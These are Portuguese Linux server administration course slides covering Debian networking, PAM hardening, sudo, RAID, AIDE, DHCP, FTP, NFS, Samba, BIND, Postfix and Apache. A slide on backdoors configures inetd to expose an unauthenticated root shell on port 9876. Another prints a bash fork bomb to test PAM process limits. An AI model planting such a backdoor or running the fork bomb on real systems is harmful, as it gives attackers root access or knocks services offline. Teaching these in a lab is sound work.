Baixe o app para aproveitar ainda mais
Prévia do material em texto
Tom Oliveira tomfoliveira@gmail.com Implementando uma infraestrutura de Rede Linux Sobre o Instrutor Trabalho há 7 anos com Linux; Especialista em projeto de redes corporativas utilizando software livre; Instrutor dos cursos da formação LPI, Samba e OpenLDAP Objetivos Configurar a rede corretamente; Configurar a resolução de nomes; Configurar o hostname da máquina; Desativar serviços desnecessários; Exemplo de backdoor; Hardening; Configuração de rede # vim /etc/network/interfaces auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 172.16.18.X netmask 255.255.255.0 network 172.16.18.0 broadcast 172.16.18..255 gateway 172.16.18.254 Resolução de nomes Usaremos um servidor de nomes público para realizar nossas consultas de dns. # vim /etc/resolv.conf search impacta.com.br linux.com.br domain impacta.com.br nameserver 4.2.2.2 nameserver 8.8.4.4 nameserver 8.8.8.8 HOSTNAME Hostname é o nome dado a um computador em uma rede. Para configurá-lo, basta editar o arquivo /etc/hostname: # vim /etc/hostname microx # hostname microx # logout Repositórios de rede Edite o arquivo /etc/apt/sources.list e adicione a seguinte entrada: deb http://ftp.us.debian.org/debian lenny main contrib non- free Atualize o mirror e instale o vim-full: # aptitude update # aptitude install vim Facilitando a vida Vamos facilitar um pouco a nossa vida, adicionando linhas numeradas e iluminação de sintaxe ao vim. # echo “set number” >> /etc/vim/vimrc # echo “syntax on” >> /etc/vim/vimrc Fully Qualified Domain Name Um bom servidor de rede só deve possuir duas entradas no arquivo /etc/hosts: A sua entrada apontando para localhost; A sua entrada apontando para seu endereço de rede, conhecida como FQDN (Fully Qualified Domain Name); # vim /etc/hosts Exemplo: 127.0.0.1 localhost.localdomain localhost 172.16.18.X microx.seunome.com.br microx # hostname -d # hostname -f Remova o que não for usar. Muitos incidentes de segurança seriam evitados se os administradores de sistemas removessem os serviços ativados durante a instalação antes de ativar um novo servidor. Listando os serviços ativos O comando netstat vai listar todos os processos que estão escutando nos protocolos tcp/udp, bem como suas portas. # netstat -putan # /etc/init.d/exim4 stop # /etc/init.d/cups stop #/etc/init.d/portmap stop # update-rc.d -f exim4 remove # update-rc.d -f cups remove # update-rc.d -f portmap remove Exemplo de uma backdoor # aptitude install openbsd-inetd # vim /etc/inetd.conf: segredo stream tcp nowait root /bin/sh /bin/sh -i # vim /etc/services segredo 9876/tcp # /etc/init.d/openbsd-inetd restart # netstat -putan | grep 9876 # telnet 172.16.18.X 9876 Hardening O que é hardening? Hardening é um processo de mapeamento das ameaças, mitigação dos riscos e execução das atividades corretivas - com foco na infra-estrutura e objetivo principal de torná-la preparada para enfrentar tentativas de ataque. Normalmente, o processo inclui remover ou desabilitar nomes ou logins de usuários que não estejam mais em uso, além de serviços desnecessários. Outras providências que um processo de hardening pode incluir: limitar o software instalado aquele que se destina à função desejada do sistema; aplicar e manter os patches atualizados, tanto de sistema operacional quanto de aplicações; revisar e modificar as permissões dos sistemas de arquivos, em especial no que diz respeito a escrita e execução; reforçar a segurança do login, impondo uma política de senhas fortes. Adequação as Normas da ISO 27001/27002 Guia de referência para boas práticas dos processos e gestão da Segurança da Informação Corporativa; Controle de Acesso ( Lógico e Físico ); Políticas; Processos (gestão de continuidade do negócio); Avaliação de todos os ativos; login.defs O arquivo /etc/login.defs, como o nome sugere, é utilizado para controlar alguns aspectos de login e algumas variáveis locais. Abra o arquivo /etc/login.defs e habilite a variável abaixo: SULOG_FILE /var/log/sulog A partir de agora, todos as tentativas de uso do comando “su” serão armazenadas no arquivo /var/log/sulog. Conhecendo o PAM Conjunto de bibliotecas,para facilitar a configuração de segurança; Antes era colocado no código de cada programa ou modulo, configurando os horários e usuários que não podem se autenticar (difícil gerenciar); Gerenciamento em um único local; Repositório deu o nome da PAM; A aplicação tem que ser desenvolvida para trabalhar com o pam; # ldd /usr/sbin/sshd libpam.so.0 => /lib/libpam.so.0 (0x00007fc12dc2e000) Conhecendo o PAM Arquivos de configuração /etc/pam.conf → Antigo não usado mais. /etc/pam.d/ → Atual Módulos /lib/security/ Conhecendo o PAM Categoria: account → atributos do usuário; auth → tipo de autenticação (ldap,kerberos,banco de dados,local); password → referente a senha (maiúsculo,tempo que vai ficar com a senha); session → sessão do usuário,variáveis, permissão; Controle: required (necessário) → Verifica em todos os módulos do mesmo tipo; requisite (requisito) → Se o primeiro der erro não verifica o proximo; sufficient (suficiente ) → Verifica em todos; optional (opicional) → Sucesso ou falha não impede a autenticação; Conhecendo o PAM Suponhamos que nosso sistema pode se autenticar em duas bases diferentes.Por exemplo autenticando local ou em uma base ldap. auth required pam_unix.so auth required pam_ldap.so auth requisite pam_unix.so auth requisite pam_ldap.so auth sufficient pam_unix.so auth sufficient pam_ldap.so auth optional pam_unix.so auth optional pam_ldap.so nologin Existe um recurso desde os primórdios para caso haja necessidade de fazer manutenção, nenhum usuário pode se logar. # touch /etc/nologin # vim /etc/pam.d/login account required pam_nologin.so # vim /etc/pam.d/sshd account required pam_nologin.so # ssh -l aluno 127.0.0.1 SU Vamos limitar os usuários que podem fazer uso do comando su. # vim /etc/pam.d/su auth required pam_wheel.so group=admins # groupadd admins # gpasswd -a aluno admins # adduser toor Faça um teste com os usuários utilizando o comando su Bloqueando por horário Podemos limitar o horário que um usuário pode se logar no sistema. # vim /etc/pam.d/login account requisite pam_time.so # vim /etc/pam.d/sshd account requisite pam_time.so # vim /etc/security/time.conf login;*;root;!Al0000-0000 sshd;*;root;!Al0000-0000 Comando da morte :(){ :|:& };: Limitando recursos Através do módulo pam_limits.so podemos limitar alguns recursos do usuário, como a quantidade de logins simultâneos, quantidade de processos, entre outros. # vim /etc/pam.d/login session required pam_limits.so # vim /etc/security/limits.confaluno hard nproc 200 aluno hard maxlogins 3 Faça um teste com 3 logins simultâneos e o comando da morte. # /etc/sudoers # # This file MUST be edited with the 'visudo' command as root. # # See the man page for details on how to write a sudoers file. # Defaults env_reset # Host alias specification # User alias specification User_Alias ADMIN_SENIOR = tux User_Alias ADMIN_PLENO = linus User_Alias ADMIN_JUNIOR = aluno # Cmnd alias specification Cmnd_Alias SHELL = /bin/bash Cmnd_Alias CMD_JUNIOR = /etc/init.d/networking, /etc/init.d/dhcp3-server, /sbin/shutdown, /usr/bin/startx, /etc/init.d/gdm, /sbin/iptables -nL # User privilege specification root ALL=(ALL) ALL ADMIN_SENIOR ALL=(ALL) ALL ADMIN_PLENO ALL=(ALL) ALL,!/usr/bin/passwd root ADMIN_JUNIOR ALL=CMD_JUNIOR SUDOERS Destabilitar login de root # vim /etc/securetty Comentar todas as linhas com tty* # Standard consoles #tty1 #tty2 #tty3 #tty4 #tty5 #tty6 FIM RAID Redundant Array of Inexpensive Disks Redundant Array of Inexpensive Disks (Conjunto Redundante de Discos Independentes); Proposto em 1983 como solução barata para falhas de disco; Oferece ganho de desempenho no acesso ao disco; Oferece redundância em caso de falhas; Pode ser implementado via hardware ou software. O que é RAID? Hardware X Software Hardware Desempenho (+) Custo - Mesma controladora (-) Não pode misturar Sata/USB (-) Software Custo (+) Pode misturar Sata/USB (+) Desempenho (-) Raid 0 Mínimo 2 discos; Não implementa redundância, pois o foco é desempenho; Dobro de velocidade na gravação; Pode-se utilizar discos de tamanhos diferentes; Perdi um disco, perco tudo; Raid 1 Mínimo 2 discos; Implementa redundância; Pode-se utilizar discos de tamanhos diferentes; Posso trabalhar com discos de spare; Raid 5 Balanceamento entre raid 0 e raid 1; Mínimo 3 discos; Implementa paridade; Dobro de velocidade na leitura; Pode-se utilizar discos de tamanhos diferentes; Dois discos falharem, perco tudo; Posso trabalhar com spare; Raid 5 Cálculo do RAID 5 A= 01100010 B= 10010010 ----------------------- P= 11110000 A= 01100010 P= 11110000 ---------------------- B= 10010010 Xor 0 0 = 0 1 1 = 0 0 1 = 1 1 0 = 1 Raid 6 Raid 10 (1+0) Mínimo 4 discos; Implementa redundância e desempenho; Dobro de velocidade na gravação e leitura; Recomenda-se a implementação com discos iguais; Preparando as partições O primeiro passo é preparar as partições para trabalharem com RAID. Abra o editor de partições cfdisk e edite as partições sugeridas pelo instrutor. Marque as partições sugeridas como sendo do tipo “Raid Autodetect” --> FD . Instale o pacote mdadm: # aptitude install mdadm Após instalar o pacote mdadm, reinicie o servidor. Criando o volume RAID Nós iremos criar um RAID 1, utilizando dois discos para implementar o raid e um disco spare. Abra um segundo terminal e digite o comando abaixo para verificar a sincronização dos discos. # watch -n 1 cat /proc/mdstat Em um outro terminal digite: # mdadm --create /dev/md0 --level=1 --raid-devices=2 --spare-devices=1 /dev/sda8 /dev/sda9 /dev/sda10 # mdadm --readwrite /dev/md0 Configuração Edite o arquivo de configuração e edite as linhas DEVICE e ARRAY (Inclua caso não existir) # vim /etc/mdadm/mdadm.conf DEVICE /dev/sda8 /dev/sda9 /dev/sda10 ARRAY /dev/md0 devices=/dev/sda8,/dev/sda9,/dev/sda10 Configuração Aplique o Filesystem no volume RAID: # mkfs.ext3 /dev/md0 Crie o ponto de montagem: # mkdir /mnt/raid Monte o dispositivo: # mount -t ext3 /dev/md0 /mnt/raid # df -h Informações Verificando individualmente o disco: # mdadm -E /dev/sda10 Verificando o volume RAID: # mdadm --detail /dev/md0 Para testar nosso volume RAID, iremos criar um pequeno script que escreverá a data corrente de 3 em 3 segundos dentro do arquivo /mnt/raid/dados.txt. Script de teste # vim /root/testaraid.sh #!/bin/bash while true; do date >> /mnt/raid/dados.txt sleep 3 done Ajuste as permissões, execute e verifique o resultado: # chmod u+x testaraid.sh # /root/testaraid.sh & (executar em segundo plano) # tail -f /mnt/raid/dados.txt FAIL!!! Simulando falha em um dos HD's: # mdadm /dev/md0 --fail /dev/sdaX Verificando os detalhes: # mdadm --detail /dev/md0 Removendo um disco: # mdadm /dev/md0 --remove /dev/sdaX Adicionando um disco: # mdadm /dev/md0 --add /dev/sdaX Configuração É necessário que altere a ordem dos discos no arquivo de configução do do raid, edite as linhas DEVICE e ARRAY. # vim /etc/mdadm/mdadm.conf DEVICE /dev/sdaY /dev/sdaZ /dev/sdaX ARRAY /dev/md0 devices=/dev/sdaY,/dev/sdaZ,/dev/sdaX Dicas As vezes, será necessário encerrar o serviço RAID, reiniciá-lo ou mesmo removê-lo. Para encerrar o RAID, execute: No terminal que executou o script, pare. # fg # umount /mnt/raid # mdadm -S /dev/md0 Para reiniciá-lo, execute: # mdadm -As /dev/md0 Removendo o raid Para removê-lo, execute: # umount /mnt/raid # mdadm -S /dev/md0 # mdadm --manage --remove /dev/md0 # vim /etc/mdadm/mdadm.conf FIM Advanced intrusion detection enviroment O que é AIDE? É um sistema de intrusão que trabalha com a detecção de anomalias em arquivos, fazendo a checagem da integridade, como alteração de arquivos de configuração, dispositivos, entre outros, com base em umbanco de dados de assinaturas. Instalação Vamos instalar o aide: # aptitude install aide Arquivo principal de configuração do AIDE: /etc/aide/aide.conf !/tmp !/var/spool/cups Diretório onde ficam os arquivos de controle do AIDE: /etc/ainde/aide.conf.d Preparando o AIDE O comando abaixo vai gerar uma “cópia” do arquivo de configuração no diretório /var/lib/aide chamado aide.conf.autogenerated onde o mesmo será usado pelo gerador de base do AIDE: # update-aide.conf Vamos gerar a base de dados do ainde, contendo informações da integridade do nosso sistema: # aideinit Será gerado dois arquivos, que é a nossa base: - /var/lib/aide/aide.db.new - /var/lib/aide/aide.db Testando o AIDE Vamos alterar a permissão de um arquivo do sistema, em seguida iremos verificar com o AIDE se houve alguma alteração dos arquivos do sistema: # chmod 777 /etc/hosts Verifique se houve alteração: # aide -C --config=/var/lib/aide/aide.conf.autogenerated | tee /root/auditoria.txt Verifique a saída do comando aide: # less /root/auditoria.txt FIM DHCP Dynamic Host Configuration Protocol DHCP No começo a configuração da rede era feita em host à host, dessa forma, não ficava trivial para empresas com grande númerode hosts; Inventaram o BOOTP (Bootstrap Protocol), porém não suportava toda a configuração de rede; Criou-se o protocolo DHCP; Como funciona? Configurando o servidor Instale o serviço do dhcp: # aptitude install dhcp3-server (Debian Lenny – 5.0) # aptitude install isc-dhcp-server (Debian Squeeze – 6.0) Faça o backup do arquivo original: # mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.orig Crie um arquivo do zero: # vim /etc/dhcp3/dhcpd.conf Configurando o servidor ddns-update-style none; Subnet 172.16.18.0 netmask 255.255.255.0 { Range 172.16.18.150 172.16.18.254; option subnet-mask 255.255.255.0; option domain-name "seudomínio.com.br"; option domain-name-servers 8.8.8.8,8.8.4.4; option routers 172.16.18.254; default-lease-time 600; max-lease-time 7200; } Testando o serviço Reinicie o serviço: # /etc/init.d/dhcp3-server restart (Debian Lenny) # /etc/init.d/isc-dhcp-server restart (Debian Squeeze) Erros: # tail -f /var/log/syslog Amarração IP X MAC ddns-update-style none; subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.150 192.168.0.254; option subnet-mask 255.255.255.0; option domain-name "seudomínio.com.br"; option domain-name-servers 8.8.8.8,8.8.4.4; option routers 192.168.0.1; default-lease-time 600; max-lease-time 7200; host comercial1 { hardware ethernet 00:1E:C9:FA:2E:60; fixed-address 172.16.18.171; } } Testando o serviço Reinicie o serviço: # /etc/init.d/dhcp3-server restart (Debian Lenny) # /etc/init.d/isc-dhcp-server restart (Debian Squeeze) Erros: # tail -f /var/log/syslog FIM FTP File Transfer Protocol (Protocolo de Transferência de Arquivos) Como funciona? Ativo 5070 21 - Controle FTP 4065 20 - Dados Como funciona? Passivo 5070 21 - Controle FTP 4065 20 - Dados 192.168.16.50 Gateway 200.10.20.30 Instalação Instale o pacote vsftpd: # aptitude install vsftpd Faça backup do arquivo de configuração: # mv /etc/vsftpd.conf /etc/vsftpd.conf.old Gere um arquivo do zero: # vim /etc/vsftpd.conf Configuração #Habilita standalone listen=YES #Habilita anonymous anonymous_enable=YES #Habilita escrita write_enable=YES #Log detalhado de upload e download xferlog_enable=YES # Permite que o usuário anonymous crie diretórios anon_mkdir_write_enable=YES #habilita upload para o usuário anonymous anon_upload_enable=YES #Permite que os usuários locais façam login /etc/passwd local_enable=YES #Trabalhar como passivo pasv_enable=YES #Valor da umask - padrão 077 local_umask=022 #Numero máximo de conexões por ip max_per_ip=3 #Numero máximo de conexões simultâneas. max_clients=60 Configuração Configuração #Banner no servidor ftpd_banner=Servidor FTP # Usuários ficarem enjaulados chroot_local_user=yes #Utiliza a porta FTP-DATA para transferência de arquivos connect_from_port_20=Yes #Utiliza a autenticação local pam_service_name=vsftpd Conectando-se ao servidor Crie um diretório no home do anonymous: # mkdir -p /home/ftp/teste # chmod 777 /home/ftp/teste # /etc/init.d/vsftpd restart # netstat -putan | grep 21 Conecte-se ao servidor FTP do colega: # ftp 192.168.0.X Faça login com o usuário anonymous: anonymous Qualquer senha Saia do FTP: ftp> quit Comandos úteis para FTP help - Lista os comandos disponíveis. help CMD - Mostra uma ajuda para o comando CMD. ls - Lista os arquivos no servidor. cd - Troca de diretório no servidor. lcd - Troca de diretório da maquina local. !ls - Lista os arquivos da maquina local. !CMD - Executa na maquina local o comando CMD. get - Faz download de um arquivo do servidor para a maquina local. mget - Faz download de mais de um arquivo. put - Faz upload de um arquivo da maquina local para o servidor. mput - Faz upload de mais de um arquivo. Ferramenta gráfica # aptitude install filezilla # tail -f /var/log/vsftpd.log Sun Apr 24 21:43:54 2011 [pid 12602] CONNECT: Client "127.0.0.1" Sun Apr 24 21:43:54 2011 [pid 12600] [ftp] OK LOGIN: Client "127.0.0.1", anon password "anon@localhost" Sun Apr 24 21:44:19 2011 [pid 12618] CONNECT: Client "127.0.0.1" Sun Apr 24 21:44:19 2011 [pid 12617] [ftp] OK LOGIN: Client "127.0.0.1", anon password "anon@localhost" Sun Apr 24 21:44:19 2011 [pid 12619] [ftp] FAIL UPLOAD: Client "127.0.0.1", "/30112008188.jpg", 0.00Kbyte/sec LOGs FIM Network File System Como funciona o NFS? Instalação O primeiro passo é iniciar o serviço portmap, do qual o NFS é dependente e o nfs-common que é usado para cliente: # /etc/init.d/portmap start # update-rc.d portmap defaults # /etc/init.d/nfs-common start # update-rc.d nfs-common defaults Agora, vamos instalar o daemon NFS. # aptitude install nfs-kernel-server Entendendo o arquivo de configuração O local aonde faremos nossas configurações é o arquivo /etc/exports. Dentro deste arquivo, podemos exportar qualquer diretório via NFS utilizando a seguinte sintaxe: /dados 172.16.18.0/24(rw,root_squash) /configs admin.tecnologia.com.br(rw,no_root_squash) rw: Permissão de leitura e escrita. ro: Permissão de somente leitura. root_squash: Faz com o usuário root “perca” seus poderes dentro do compartilhamento. no_root_squash: Permite que o usuário root cliente tenha direito de root sobre os diretórios do servidor. async: Determina que não necessita está sincronizado com o servidor aguardando sinal para ser liberado, tornando a transferência de arquivo mais rápido. sync: Mantém a sincronia em tempo real (mais seguro). Algumas opções do NFS Exportando diretório com NFS Crie o diretório que será exportado: # mkdir /srv/nfs Configure o /etc/exports: # vim /etc/exports /srv/nfs 172.16.18..0/24(rw,root_squash,no_subtree_check) Copie algum dado para este diretório: # cp /etc/*.conf /srv/nfs Reinicie o daemon NFS: # /etc/init.d/nfs-kernel-server restart Ou # exportfs -r Montando os diretórios Verifique os diretórios compartilhados: # showmount -e 172.16.18.X Crie um ponto de montagem: # mkdir /mnt/nfs Monte o diretório compartilhado # mount -t nfs 172.16.18.X:/srv/nfs /mnt/nfs Entre no diretório /mnt/nfs e tente remover algum arquivo. No Root Squash Refaça o compartilhamento, agora com a opção no_root_squash habilitada: /srv/nfs 192.168.10.0/24(rw,no_root_squash,no_subtree_check) Releia as configurações do nfs sem reiniciar o daemon: # exportfs -r Agora, entre no diretório /mnt/nfs e refaça o teste tentando remover um arquivo. FIM Como surgiu A IBM criou o protocolo NetBIOS (Network Basic Input Output), um protocolo para troca de mensagens entre micros PC ligados em rede. O SMB (Server Message Block) veio mais tarde, junto com o Windows 3.11. O protocolo SMB governa o compartilhamento de arquivos e impressoras em redes Microsoft. Ele utiliza o NetBIOS para a troca de mensagensentre os hosts e inclui uma versão atualizada do protocolo, que roda sobre TCP/IP utilizando as portas (137/UDP, 138/UDP e 139/TCP) utilizadas pelo SMB. O problema com o NetBIOS é que ele depende do uso intensivo de pacotes de broadcast e de pacotes UDP. O CIFS (Common Internet File System) é a evolução natural do SMB, que inclui diversos novos recursos, abandona o uso do NetBIOS e passa a utilizar uma única porta TCP (445). Como surgiu O Samba é justamente uma implementação das mesmas funções para sistemas Unix, incluindo não apenas o Linux, mas também o BSD, Solaris, OS X e outros primos. O projeto nasceu no final de 1991, de forma acidental, criado por Andrew Tridgell, um australiano que na época era estudante do curso de PhD em ciências da computação. Desenvolveu um programa para capturar os pacotes, capaz de examinar o tráfego da rede, capturando as mensagens enviadas pelo cliente e as respostas do servidor. O nome "Samba" surgiu a partir de uma simples busca dentro do dicionário chamado ispell, que possuíssem as letras S, M e B, de "Server Message Blocks", posicionadas nessa ordem. Como surgiu Em 1994 a Microsoft liberou as especificações do SMB e do NetBIOS, o que permitiu que o desenvolvimento do Samba desse um grande salto, tanto em recursos quanto em compatibilidade, passando a acompanhar os novos recursos adicionados ao protocolo da Microsoft, que mais tarde novamente deixou de ser aberto. Hoje, além de ser quase 100% compatível com os recursos de rede do Windows 98, NT, 2000 e XP, o Samba é reconhecido por ser mais rápido que o próprio Windows na tarefa de servidor de arquivos. O samba está na versão 3, o seu desenvolvimento prossegue, o que há de novidade no samba 4? Instalação # aptitude install samba Daemon: nmbd → resolução de nome smbd → compartilhamento winbind → integração/autenticação Portas: 137/UDP → 138/UDP → SMB 139/TCP → 445/TCP → CIFS Configuração Os arquivos de configuração ficam no diretório /etc/samba. O principal arquivo de configuração é o /etc/samba/smb.conf. O arquivo é dividido em sessões. Exemplos: [financeiro] → como vai aparecer na rede ;comentários path = /srv/samba/finan parâmetro = valor [global] → opções gerais [homes] → compartilhar o home de cada usuário [printers] → impressora Configuração # mv /etc/samba/smb.conf /etc/samba/smb.conf.old # vim /etc/samba/smb.conf [global] workgroup = empresaX netbios name = microX security = share client lanman auth = yes [publico] comment = Diretório com acesso para todos os usuários path = /srv/samba/publico force user = smbuser force group = users read only = no guest ok = yes Configuração # mkdir -p /srv/samba/publico # chmod 777 /srv/samba/publico # useradd smbuser # testparm # testparm -v # /etc/init.d/samba restart Faça o teste no windows!!! Configuração avançada # vim /etc/samba/smb.conf [global] ... security = user preserve case = no [rh] Comment = Diretório de uso do RH path = /srv/samba/rh valid users = maria writable = yes # mkdir /srv/samba/rh # chmod 755 /srv/samba/rh # groupadd rh # adduser maria # chown maria:rh /srv/samba/rh # smbpasswd -a maria # testparm # /etc/init.d/samba restart → /var/lib/samba/passdb.tdb smbpasswd -a → adiciona (add) smbpasswd -d → bloqueia (disable) smbpasswd -e → desbloqueia (enable) smbpasswd -x → exclui (exclude) smbpasswd user → (altera a senha) Configuração avançada Exemplos de acessos Restringindo alguns usuários: writable = yes valid users = joao, maria, @rh invalid users = jose, joaquim Somente um usuário ter permissão de escrita: writable = no valid users = joao, maria, jose, @rh write list = maria Restringir quem vai poder somente ler: writable = yes valid users = joao, maria, jose, @rh read list = maria, ana Acesso para rede: writable = yes hosts allow = 192.168.1.0/24 ou hosts allow = 192.168.1. EXCEPT 192.168.1.23, 192.168.1.24 Primary Domain Controller # vim /etc/samba/smb.conf [global] ..... domain master = yes log file = /var/log/%m.log max log size = 1000 add machine script = /usr/sbin/useradd -s /bin/false -d /dev/null %u unix password sync = no passwd program = /usr/bin/smbpasswd %u socket options = TCP_NODELAY SO_RCVBUF=8192 SO_SNDBUF= 8192 domain logons = yes logon drive = H: preferred master = yes Primary Domain Controller [homes] valid users = %U read only = no create mask = 0700 directory mask = 0700 # smbpasswd -a root # testparm # /etc/init.d/samba restart # less /var/lib/samba/passdb.tdb # pdbedit -Lw FIM DNS Domain Name System Como surgiu No começo existiam apenas algumas centenas de hosts. Surgiu o nome, porque os seres humanos não consegue decorar muitos números. Um único arquivo, HOSTS.TXT, continha todas as informações necessárias sobre esses hosts. O Hosts.txt era atualizado pelo Network Information Center do SRI (NIC- SRI). Problemas À medida que a ARPAnet crescia, contudo, esse esquema tornava-se impraticável. O tamanho do HOSTS.TXT crescia em proporção ao crescimento do número de hosts da Arpa. Trafego para distribuir a atualização desse arquivo. Levou o HOSTS.TXT ao fracasso e à obsolescência. Solução A ARPAnet fez um concurso para resolver esse problema. Requisitos: Escalabilidade: Quando a rede crescer muito, ele consegue mesmo assim gerenciar. Gerenciamento distribuído: Não ficar centralizado somente em uma pessoa ou poucas pessoas para administrar. Em 1984, Paul Mockapetris criou o projeto DNS, e usou a idéia de hierarquia de árvore semelhante ao do unix. Hierarquia de árvore do UNIX. Hierarquia de árvore do DNS. www.uol.com.br. Registros SOA (Start Of Authotity) - Propriedades básicas do domínio; MX (Mail eXchanger) - Especifica um servidor de e-mail; NS (Name Server) - Nome do servidor; TXT (TeXT) - Permitir que outro domínio utilize meu domínio; CNAME (Common Name) - Específica nomes alternativos; A (Address) - Endereço IP (IPV4); AAAA (Address) - Endereço IP (IPV6); PTR (Pointer) – Configuração de reverso; Consultas # aptitude install dnsutils # dig -t ns uol.com.br # dig -t mx uol.com.br # dig -t ns google.com.br # dig -t mx gmail.com # dig -t any uol.com.br # dig -t mx trainingtecnologia.com.br # dig -t ns trainingtecnologia.com.br Berkley Internet Name Domain # aptitude install bind9 # vim /etc/resolv.conf nameserver 127.0.0.1 # chattr +i /etc/resolv.conf # lsattr /etc/resolv.conf # chattr -i /etc/resolv.conf Servidor de cache Um sistema DNS cache only é útil quando queremosapenas resolver nomes externos com economia de banda. Vamos restringir que o uso do servidor será somente para nossa rede. # vim /etc/bind/named.conf.options options { directory "/var/cache/bind"; allow-query { 127.0.0.0/8; 192.168.0.0/24;}; }; # named-checkconf # /etc/init.d/bind9 restart Configurando as zonas Vamos criar uma zona do seu domínio e o reverso para o servidor de e-mail: # vim /etc/bind/named.conf.local zone "seunome.com.br" { type master; file "db.seunome"; }; zone "0.168.192.in-addr.arpa" { type master; file "rev.seunome"; }; # named-checkconf Configurando as zonas # vim /var/cache/bind/db.seunome $TTL 604800 @ IN SOA ns1.seunome.com.br. ti.seunome.com.br. ( 2011082501; Serial 1H; Slave 15M; Indisponível 1W; Tempo que fica tentando comunicar com o master 1D ); Cache negativo @ IN NS ns1.seunome.com.br. @ IN MX 10 mail.seunome.com.br. @ IN MX 15 mail2.seunome.com.br. ns1 IN A 172.16.18.X mail IN A 172.16.18.X pop IN CNAME mail smtp IN CNAME mail www IN A 172.16.18.X noticias IN CNAME www @ IN A 172.16.18.X Configurando reverso # vim /var/cache/bind/rev.seunome $TTL 604800 @ IN SOA ns1.seunome.com.br. ti.seunome.com.br. ( 2011082501; Serial 1H; Slave 15M; Indisponível 1W; Tempo q fica tentando comunicar com o master 1D ); Cache negativo @ IN NS ns1.seunome.com.br. X IN PTR mail.seunome.com.br. Testando o servidor # /etc/init.d/bind9 restart # netstat -puan | grep 53 # ping mail.seunome.com.br # ping www.seunome.com.br # dig -t ns seunome.com.br # dig -t mx seunome.com.br Testando o reverso # ping mail.seunome.com.br # dig -x 192.168.0.X ;; QUESTION SECTION: ;X.0.168.192.in-addr.arpa. IN PTR ;; ANSWER SECTION: X.0.168.192.in-addr.arpa. 604800 IN PTR mail.seunome.com.br. ;; AUTHORITY SECTION: 0.168.192.in-addr.arpa. 604800 IN NS ns1.seunome.com.br. ;; ADDITIONAL SECTION: ns1.seunome.com.br. 604800 IN A 172.16.18.X Configurando o servidor slave Vamos configurar o nosso DNS secundário, usando o servidor BIND do nosso colega. # vim /etc/bind/named.conf.local zone "nomeamigo.com.br" { type slave; masters {172.16.18.X; }; file "db.nomeamigoslave"; }; # named-checkconf # /etc/init.d/bind9 restart # ls /var/cache/bind/ Restringindo o slave # vim /etc/bind/named.conf.local zone “seunome.com.br” { type master; allow-transfer { 172.16.18.X; }; also-notify { 172.16.18.X; }; file “db.seunome” ; }; # named-checkconf # /etc/init.d/bind9 restart FIM Servidor de e-mail 25/tcp - smtp 110/tcp – pop3 MTA MTA MUA MUA MTA = Mail Transfer Agent 25/tcp Qmail MDA MUA = Mail User Agent MDA = Mail Delivery Agent 465/tcp - smtps 587/tcp - subimission Postfix Sendmail 995/tcp – pop3s 143/tcp – imap 993/tcp – imaps Criado em 1996 por Witse Unema (Pesquisador da IBM). Surgiu para substituir o sendmail, devido sua complexidade de configuração e falhas de segurança. Escreveu um servidor do zero, modular e pensando em segurança. Facilidade de configuração. Todo código foi pensando em segurança. Instalando o servidor # aptitude install postfix # cd /etc/postfix # vim master.cf smtp inet n - n - - smtpd #submission inet n - - - - smtpd # -o smtpd_tls_security_level=encrypt # -o smtpd_sasl_auth_enable=yes # -o smtpd_client_restrictions=permit_sasl_authenticated,reject # -o milter_macro_daemon_name=ORIGINATING #smtps inet n - - - - smtpd # -o smtpd_tls_wrappermode=yes # -o smtpd_sasl_auth_enable=yes # -o smtpd_client_restrictions=permit_sasl_authenticated,reject # -o milter_macro_daemon_name=ORIGINATING Instalando o servidor # /etc/init.d/postfix restart # netstat -tupan | grep 465 # netstat -tupan | grep 587 # mv main.cf main.cf.old # vim main.cf append_dot_mydomain = yes delay_warning_time = 4h mydomain = seunome.com.br myhostname = mail.seunome.com.br alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases mydestination = seunome.com.br, localhost, mail.seunome.com.br relayhost = mynetworks = 127.0.0.0/8, 192.168.0.0/24 inet_interfaces = all #home_mailbox = Maildir/ #mail_spool_directory = /home/ Grupos e redirecionamentos de e-mails # vim /etc/aliases rh: maria, joao suporte: carlos, pedro, tom@email.com.br antonio: antonio, rodolfo tiago: cesar # newaliases → /etc/aliases.db Testando o servidor # /etc/init.d/postfix restart # telnet localhost 25 helo mail.seunome.com.br mail from: diretoria@tom.com.br rcpt to: aluno@seunome.com.br data subject: Aumento de salário Prezados, a partir do ano que vem o salário será reajustado em 250%. Kassab . quit # ls /var/mail (Finaliza a mensagem) Maildir # vim /etc/postfix/main.cf append_dot_mydomain = yes delay_warning_time = 4h mydomain = seunome.com.br myhostname = mail.seunome.com.br alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases mydestination = seunome.com.br, localhost, mail.seunome.com.br relayhost = mynetworks = 127.0.0.0/8, 172.16.18.0/24 inet_interfaces = all home_mailbox = Maildir/ mail_spool_directory = /home/ # /etc/init.d/postfix restart Testando o Maildir # /etc/init.d/postfix restart # telnet localhost 25 helo mail.seunome.com.br mail from: diretoria@tom.com.br rcpt to: aluno@seunome.com.br data subject: Testando maildir Esse e-mail vai no formato maildir . quit # ls /home/aluno/Maildir/new (Finaliza a mensagem) Mail Delivery Agent # aptitude install dovecot-imapd dovecot-pop3d # vim /etc/dovecot/dovecot.conf 25 protocols = imap imaps pop3 pop3s 224 mail_location = maildir:~/Maildir # /etc/init.d/dovecot restart # /etc/init.d/postfix restart # netstat -putan | grep 110 # netstat -putan | grep 995 # netstat -putan | grep 143 # netstat -putan | grep 993 Mail User Agent Aplicações > Internet > Icedove Email # aptitude install icedove icedove-l10n-pt-br FIM Características OpenSource 65% dos sites públicos rodam em Apache segundo a netcraft. Suporta váriaslinguagens (PHP, Python, Perl, Asp,etc); Multiplataforma; Extensível através de módulos; Permite hospedar vários sites no mesmo servidor; Como funciona? Instalando o servidor # aptitude install apache2 Browser → http://127.0.0.1 /etc/httpd/conf/httpd.conf Segurança Quando o apache não encontra uma página, ela mostra a mensagem “Not Found” e também a versão do seu apache e do sistema operacional, vamos desabilitar essa mensagem: Browser → http://127.0.0.1/asas # vim /etc/apache2/conf.d/security 27 ServerTokens Prod 39 ServerSignature Off # /etc/init.d/apache2 restart Browser → http://127.0.0.1/asas Suporte ao PHP5 # aptitude install php5 Para ativar o módulo: # a2enmod php5 Vamos testar o suporte ao php: # vim /var/www/index.php <?php phpinfo(); ?> # /etc/init.d/apache2 restart Browser → 